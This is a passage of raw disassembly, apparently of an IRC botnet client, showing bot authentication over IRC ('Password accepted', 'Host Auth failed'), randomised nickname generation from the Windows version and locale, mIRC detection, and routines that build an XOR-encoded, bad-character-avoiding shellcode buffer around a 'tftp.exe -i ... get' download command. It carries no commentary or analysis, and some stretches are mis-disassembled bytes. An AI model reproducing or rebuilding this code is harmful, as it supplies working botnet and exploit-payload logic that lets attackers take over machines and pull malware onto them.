		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"...
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		push	edi
		push	esi
		push	offset aMainFailedHost ; "[MAIN]: *Failed host auth by:	(%s!%s)."


loc_408559:				; CODE XREF: seg000:004084FBj
		lea	eax, [ebp-2C8h]
		push	eax
		call	sub_41D260
		add	esp, 30h
		jmp	loc_4066B9
; ---------------------------------------------------------------------------


loc_40856D:				; CODE XREF: seg000:00408513j
		mov	edi, [ebp+20h]
		xor	esi, esi


loc_408572:				; CODE XREF: seg000:0040859Cj
		cmp	[ebp+8], ebx
		jz	loc_403498
		cmp	[edi], bl
		jnz	short loc_408592
		push	dword ptr [ebp+8]
		push	offset aHi_0	; "hi"
		call	sub_41D900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4085A3


loc_408592:				; CODE XREF: seg000:0040857Dj
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_408572
		jmp	loc_403498
; ---------------------------------------------------------------------------


loc_4085A3:				; CODE XREF: seg000:00408590j
		shl	esi, 7
		add	esi, [ebp+20h]
		lea	eax, [ebp-0A94h]
		push	7Fh
		push	eax
		push	esi
		call	sub_41D800
		add	esp, 0Ch
		cmp	[ebp-8], ebx
		jnz	short loc_4085DA
		push	ebx
		push	dword ptr [ebp-4]
		push	offset aMainPasswordAc ; "[MAIN]: Password accepted."
		push	dword ptr [ebp-8Ch]
		push	dword ptr [ebp+0Ch]
		call	sub_40145D
		add	esp, 14h


loc_4085DA:				; CODE XREF: seg000:004085BEj
		lea	eax, [ebp-0C0h]
		push	eax
		push	offset aMainUserSLog_3 ; "[MAIN]: User:	%s logged in."


loc_4085E6:				; CODE XREF: seg000:004035B9j
					; seg000:00407FC8j ...
		call	sub_41621B
		pop	ecx


loc_4085EC:				; CODE XREF: seg000:004054ABj
		pop	ecx
		jmp	loc_403498
; ---------------------------------------------------------------------------


loc_4085F2:				; CODE XREF: seg000:0040322Bj
					; seg000:00403240j
		push	dword ptr [ebp+18h]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		push	offset aXIr	; "-x+iR"
		push	dword ptr [ebp+18h]
		push	offset aModeSS	; "MODE	%s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	offset aJoinSS_4 ; "JOIN %s %s\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401417
		add	esp, 2Ch
		mov	ds:dword_4DF338, edi
		jmp	loc_4032BA
; ---------------------------------------------------------------------------


loc_408638:				; DATA XREF: seg002:0043C004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_41801E
		pop	ecx
		mov	ds:dword_4DF1B8, eax
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_408654	proc near		; CODE XREF: sub_408A38+49p
					; DATA XREF: seg002:off_43FB00o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_4F1340	; GetTickCount
		push	eax
		call	sub_41DB90
		call	sub_41DBA0
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+0Ch+arg_0]
		push	ds:off_43FB68[edx*4]
		push	offset aS_27	; "%s"
		push	1Ch
		push	edi
		call	sub_41D360
		xor	esi, esi
		add	esp, 14h
		cmp	ds:dword_43CC78, esi
		jle	short loc_4086BB


loc_408695:				; CODE XREF: sub_408654+65j
		call	sub_41DBA0
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	sub_41D360
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_43CC78
		jl	short loc_408695


loc_4086BB:				; CODE XREF: sub_408654+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_408654	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		call	ds:dword_4F1340	; GetTickCount
		push	eax
		call	sub_41DB90
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	aC_4 ; "C-"
		push	offset aS_28	; "%s"
		push	1Ch
		push	edi
		call	sub_41D360
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_43CC78, esi
		jle	short loc_408719


loc_4086F3:				; CODE XREF: seg000:00408717j
		call	sub_41DBA0
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_0	; "%s%i"
		push	1Ch
		push	edi
		call	sub_41D360
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_43CC78
		jl	short loc_4086F3


loc_408719:				; CODE XREF: seg000:004086F1j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40871E	proc near		; CODE XREF: seg000:004067A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_4F1340	; GetTickCount
		push	eax
		call	sub_41DB90
		pop	ecx
		call	sub_41DBA0
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, ds:dword_43CC78
		test	esi, esi
		jle	short loc_408761


loc_40874B:				; CODE XREF: sub_40871E+41j
		call	sub_41DBA0
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40874B


loc_408761:				; CODE XREF: sub_40871E+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40871E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	esi, offset aPc	; "PC"
		mov	dword ptr [ebp-4], 100h
		xor	edi, edi
		call	ds:dword_4F1340	; GetTickCount
		push	eax
		call	sub_41DB90
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		push	esi
		call	near ptr 3D0000h
		sbb	al, [ebp-41FA8A40h]
		in	al, dx
		aaa
		inc	esp
		add	[edi], cl
		mov	esi, 59416A06h


loc_4087A6:				; CODE XREF: seg000:004087B1j
		cmp	eax, ecx
		jnz	short loc_4087AD
		push	1
		pop	edi


loc_4087AD:				; CODE XREF: seg000:004087A8j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_4087A6
		push	61h
		pop	ecx


loc_4087B6:				; CODE XREF: seg000:004087C1j
		cmp	eax, ecx
		jnz	short loc_4087BD
		push	1
		pop	edi


loc_4087BD:				; CODE XREF: seg000:004087B8j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_4087B6
		test	edi, edi
		jnz	short loc_4087CC
		mov	esi, offset aPc_1 ; "PC"


loc_4087CC:				; CODE XREF: seg000:004087C5j
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41D360
		xor	esi, esi
		add	esp, 0Ch
		cmp	ds:dword_43CC78, esi
		jle	short loc_40880B


loc_4087E5:				; CODE XREF: seg000:00408809j
		call	sub_41DBA0
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_1	; "%s%i"
		push	1Ch
		push	edi
		call	sub_41D360
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_43CC78
		jl	short loc_4087E5


loc_40880B:				; CODE XREF: seg000:004087E3j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_4F1340	; GetTickCount
		push	eax
		call	sub_41DB90
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	ds:dword_4F1354	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset aS_29	; "%s|"
		push	1Ch
		push	edi
		call	sub_41D360
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_43CC78, esi
		jle	short loc_408880


loc_40885A:				; CODE XREF: seg000:0040887Ej
		call	sub_41DBA0
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_2	; "%s%i"
		push	1Ch
		push	edi
		call	sub_41D360
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_43CC78
		jl	short loc_40885A


loc_408880:				; CODE XREF: seg000:00408858j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_4DF360
		mov	dword ptr [ebp-94h], 94h
		call	ds:dword_4F1358	; GetVersionExA
		call	ds:dword_4F1340	; GetTickCount
		push	eax
		call	sub_41DB90
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40890A
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_4088EA
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_4088DA
		mov	esi, offset a95	; "95"


loc_4088DA:				; CODE XREF: seg000:004088D3j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_408946
		mov	esi, offset aNt	; "NT"
		jmp	short loc_408946
; ---------------------------------------------------------------------------


loc_4088EA:				; CODE XREF: seg000:004088CAj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_4088FA
		mov	esi, offset a98	; "98"
		jmp	short loc_408946
; ---------------------------------------------------------------------------


loc_4088FA:				; CODE XREF: seg000:004088F1j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_408941
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_408946
; ---------------------------------------------------------------------------


loc_40890A:				; CODE XREF: seg000:004088C1j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_408941
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_408923
		mov	esi, offset a2k	; "2K"
		jmp	short loc_408946
; ---------------------------------------------------------------------------


loc_408923:				; CODE XREF: seg000:0040891Aj
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_408933
		mov	esi, offset aXp_0 ; "XP"
		jmp	short loc_408946
; ---------------------------------------------------------------------------


loc_408933:				; CODE XREF: seg000:0040892Aj
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_408946


loc_408941:				; CODE XREF: seg000:00408901j
					; seg000:00408911j
		mov	esi, offset a???_0 ; "???"


loc_408946:				; CODE XREF: seg000:004088E1j
					; seg000:004088E8j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset aS_30	; "[%s]|"
		push	1Ch
		push	edi
		call	sub_41D360
		xor	esi, esi
		add	esp, 10h
		cmp	ds:dword_43CC78, esi
		jle	short loc_40898A


loc_408964:				; CODE XREF: seg000:00408988j
		call	sub_41DBA0
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_3	; "%s%i"
		push	1Ch
		push	edi
		call	sub_41D360
		add	esp, 14h
		inc	esi
		cmp	esi, ds:dword_43CC78
		jl	short loc_408964


loc_40898A:				; CODE XREF: seg000:00408962j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408990	proc near		; CODE XREF: sub_408A38+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_4F1340	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_4089DF
		push	offset aMirc_0	; "mIRC"
		call	ds:dword_451500
		test	eax, eax
		mov	eax, offset aM_0 ; "[M]"
		jnz	short loc_4089C8
		mov	eax, offset dword_4DF364


loc_4089C8:				; CODE XREF: sub_408990+31j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41D360
		add	esp, 14h
		jmp	short loc_408A04
; ---------------------------------------------------------------------------


loc_4089DF:				; CODE XREF: sub_408990+1Dj
		push	offset aMirc_1	; "mIRC"
		call	ds:dword_451500
		test	eax, eax
		mov	eax, offset aM_1 ; "[M]"
		jnz	short loc_4089F8
		mov	eax, offset dword_4DF368


loc_4089F8:				; CODE XREF: sub_408990+61j
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41D260
		pop	ecx
		pop	ecx


loc_408A04:				; CODE XREF: sub_408990+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AC70
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_408A33
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41E710
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41D800
		add	esp, 18h


loc_408A33:				; CODE XREF: sub_408990+82j
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_408990	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408A38	proc near		; CODE XREF: sub_402D46+7Fp
					; sub_402EAE+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_43FAFC


loc_408A44:				; CODE XREF: sub_408A38+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_408A5F
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41D900
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_408A69
; ---------------------------------------------------------------------------


loc_408A5F:				; CODE XREF: sub_408A38+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_408A69:				; CODE XREF: sub_408A38+25j
		test	eax, eax
		jnz	short loc_408A7B
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_43FB74
		jl	short loc_408A44
		jmp	short loc_408A89
; ---------------------------------------------------------------------------


loc_408A7B:				; CODE XREF: sub_408A38+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	ds:off_43FB00[eax*4]
		pop	ecx


loc_408A89:				; CODE XREF: sub_408A38+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_408A9C
		push	[ebp+arg_0]
		call	sub_408990
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_408A9C:				; CODE XREF: sub_408A38+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_408A38	endp


; =============== S U B	R O U T	I N E =======================================



sub_408AA1	proc near		; CODE XREF: sub_408AC1+Ap
					; sub_408B99+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41AC70
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41AC70
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_408AA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408AC1	proc near		; CODE XREF: sub_408BB0+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_408AA1
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_408ADE
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_408ADE:				; CODE XREF: sub_408AC1+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41AC70
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41AC70
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	ds:dword_4438EC, eax
		lea	eax, [edi+1]
		mov	ds:dword_44390D, eax
		lea	eax, [edi+17h]
		mov	ds:dword_443905, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_443888
		push	ebx
		mov	ds:dword_44391B, eax
		call	sub_41E840
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41E840
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41E840
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41E840
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41E840
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41E840
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_443911
		push	esi
		call	sub_41E840
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_408B99	proc near		; CODE XREF: sub_408BB0+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_408AA1
		push	eax
		call	sub_408C1D
		add	esp, 0Ch
		retn
sub_408B99	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408BB0	proc near		; CODE XREF: sub_40EC3D+7Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_408B99
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_408BD0
		cmp	eax, 0FFFFh
		jbe	short loc_408BD4


loc_408BD0:				; CODE XREF: sub_408BB0+17j
		xor	eax, eax
		jmp	short loc_408C19
; ---------------------------------------------------------------------------


loc_408BD4:				; CODE XREF: sub_408BB0+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_408AA1
		add	eax, 101h
		push	eax
		call	sub_41AE40
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_408AA1
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_408AC1
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408C38
		push	esi
		mov	edi, eax
		call	sub_41B8B0
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_408C19:				; CODE XREF: sub_408BB0+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_408BB0	endp


; =============== S U B	R O U T	I N E =======================================



sub_408C1D	proc near		; CODE XREF: sub_408B99+Ep
					; sub_408C38+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_408C26
		inc	ecx


loc_408C26:				; CODE XREF: sub_408C1D+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_408C1D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C38	proc near		; CODE XREF: sub_408BB0+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_408C54
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_408C54
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_408C54
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_408C57


loc_408C54:				; CODE XREF: sub_408C38+8j
					; sub_408C38+Ej ...
		inc	[ebp+arg_C]


loc_408C57:				; CODE XREF: sub_408C38+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_408C7F
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_408C78
		cmp	al, 0Dh
		jz	short loc_408C78
		cmp	al, 5Ch
		jz	short loc_408C78
		test	al, al
		jnz	short loc_408C7F


loc_408C78:				; CODE XREF: sub_408C38+32j
					; sub_408C38+36j ...
		add	[ebp+arg_C], 100h


loc_408C7F:				; CODE XREF: sub_408C38+28j
					; sub_408C38+3Ej
		push	[ebp+arg_C]
		call	sub_408C1D
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_408C97
		cmp	eax, 0FFFFh
		jbe	short loc_408C9E


loc_408C97:				; CODE XREF: sub_408C38+56j
		xor	eax, eax
		jmp	loc_408D3C
; ---------------------------------------------------------------------------


loc_408C9E:				; CODE XREF: sub_408C38+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, ds:byte_4DF36C
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_408CCE


loc_408CB2:				; CODE XREF: sub_408C38+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_408CC5
		cmp	al, 0Ah
		jz	short loc_408CC5
		cmp	al, 0Dh
		jz	short loc_408CC5
		cmp	al, 5Ch
		jnz	short loc_408CC9


loc_408CC5:				; CODE XREF: sub_408C38+7Fj
					; sub_408C38+83j ...
		inc	bl
		xor	edx, edx


loc_408CC9:				; CODE XREF: sub_408C38+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_408CB2


loc_408CCE:				; CODE XREF: sub_408C38+78j
		cmp	ecx, esi
		mov	ds:byte_4DF36C,	bl
		ja	short loc_408CFA
		push	15h
		push	offset loc_443870
		push	[ebp+arg_0]
		mov	ds:byte_44387D,	cl
		mov	ds:byte_443881,	bl
		call	sub_41E840
		add	esp, 0Ch
		push	15h
		jmp	short loc_408D1B
; ---------------------------------------------------------------------------


loc_408CFA:				; CODE XREF: sub_408C38+9Ej
		push	17h
		push	offset loc_443858
		push	[ebp+arg_0]
		mov	ds:word_443866,	cx
		mov	ds:byte_44386B,	bl
		call	sub_41E840
		add	esp, 0Ch
		push	17h


loc_408D1B:				; CODE XREF: sub_408C38+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_408D37
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_408D29:				; CODE XREF: sub_408C38+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_408D29


loc_408D37:				; CODE XREF: sub_408C38+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_408D3C:				; CODE XREF: sub_408C38+61j
		pop	esi
		leave
		retn
sub_408C38	endp


; =============== S U B	R O U T	I N E =======================================



sub_408D3F	proc near		; CODE XREF: seg000:004047DCp
					; seg000:00404969p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4521B8


loc_408D47:				; CODE XREF: sub_408D3F+18j
		cmp	byte ptr [eax],	0
		jz	short loc_408D5B
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4DF1B8
		jl	short loc_408D47
		jmp	short loc_408DA6
; ---------------------------------------------------------------------------


loc_408D5B:				; CODE XREF: sub_408D3F+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_4521B8[esi]
		push	eax
		call	sub_41D800
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	ds:dword_4523B8[esi], eax
		and	ds:dword_4523BC[esi], 0
		mov	eax, [esp+8+arg_8]
		and	ds:dword_4523C0[esi], 0
		mov	ds:dword_4523C4[esi], eax
		and	ds:byte_4523D0[esi], 0
		pop	esi


loc_408DA6:				; CODE XREF: sub_408D3F+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_408D3F	endp

; ---------------------------------------------------------------------------
word_408DAA	dw 8B55h		; DATA XREF: seg000:00408082o
		dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
		dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
		dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
		dd 6CE8EC75h, 83000002h, 6A14C4h, 0FC7207E8h, 5E5FEBFFh
		dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 44394C68h
		dd 0C75FF00h, 0E80875FFh, 0FFFF8641h, 3314C483h, 21B8BEFFh
		dd 3E800045h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
		dd 0FE00858Dh, 7C68FFFFh, 50004439h, 14413E8h, 8D016A00h
		dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFF85F9h
		dd 8124C483h, 234C6h, 0FE814700h, 4DF1B8h, 5E5FB07Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_408E7A	proc near		; CODE XREF: seg000:0040732Ep
					; sub_408F08+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_408F02
		cmp	esi, 400h
		jge	short loc_408F02
		imul	esi, 234h
		push	edi
		push	ebx
		push	ds:dword_4523CC[esi]
		lea	edi, dword_4523CC[esi]
		call	near ptr 3D0000h
		mov	ch, 39h
		pop	ds
		jz	short loc_408EB2
		push	1
		pop	ebp


loc_408EB2:				; CODE XREF: sub_408E7A+33j
		mov	[edi], ebx
		lea	edi, dword_4523C0[esi]
		mov	ds:dword_4523B8[esi], ebx
		mov	ds:dword_4523BC[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_408ED3
		push	eax
		call	sub_419367
		pop	ecx


loc_408ED3:				; CODE XREF: sub_408E7A+50j
		mov	[edi], ebx
		lea	edi, dword_4523C4[esi]
		mov	byte ptr ds:dword_4521B8[esi], bl
		mov	ds:byte_4523D0[esi], bl
		push	dword ptr [edi]
		call	ds:dword_451588
		lea	esi, dword_4523C8[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	ds:dword_451588
		mov	[esi], ebx
		pop	edi


loc_408F02:				; CODE XREF: sub_408E7A+Dj
					; sub_408E7A+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_408E7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F08	proc near		; CODE XREF: sub_40132F+18p
					; seg000:004072E0p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_4521B8


loc_408F14:				; CODE XREF: sub_408F08+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_408F25
		push	edi
		call	sub_408E7A
		test	eax, eax
		pop	ecx
		jz	short loc_408F25
		inc	ebx


loc_408F25:				; CODE XREF: sub_408F08+Fj
					; sub_408F08+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4DF1B8
		jl	short loc_408F14
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_408F08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F3A	proc near		; CODE XREF: seg000:00404836p
					; seg000:004048A7p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_4523BC


loc_408F4E:				; CODE XREF: sub_408F3A+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_408F70
		test	edi, edi
		jle	short loc_408F62
		cmp	[esi], edi
		jz	short loc_408F62
		cmp	ebx, edi
		jnz	short loc_408F70


loc_408F62:				; CODE XREF: sub_408F3A+1Ej
					; sub_408F3A+22j
		push	ebx
		call	sub_408E7A
		test	eax, eax
		pop	ecx
		jz	short loc_408F70
		inc	[ebp+var_4]


loc_408F70:				; CODE XREF: sub_408F3A+1Aj
					; sub_408F3A+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4DF3BC
		jl	short loc_408F4E
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408F3A	endp


; =============== S U B	R O U T	I N E =======================================



sub_408F87	proc near		; CODE XREF: seg000:004047ADp
					; seg000:004048C9p ...

arg_0		= dword	ptr  4

		xor	eax, eax
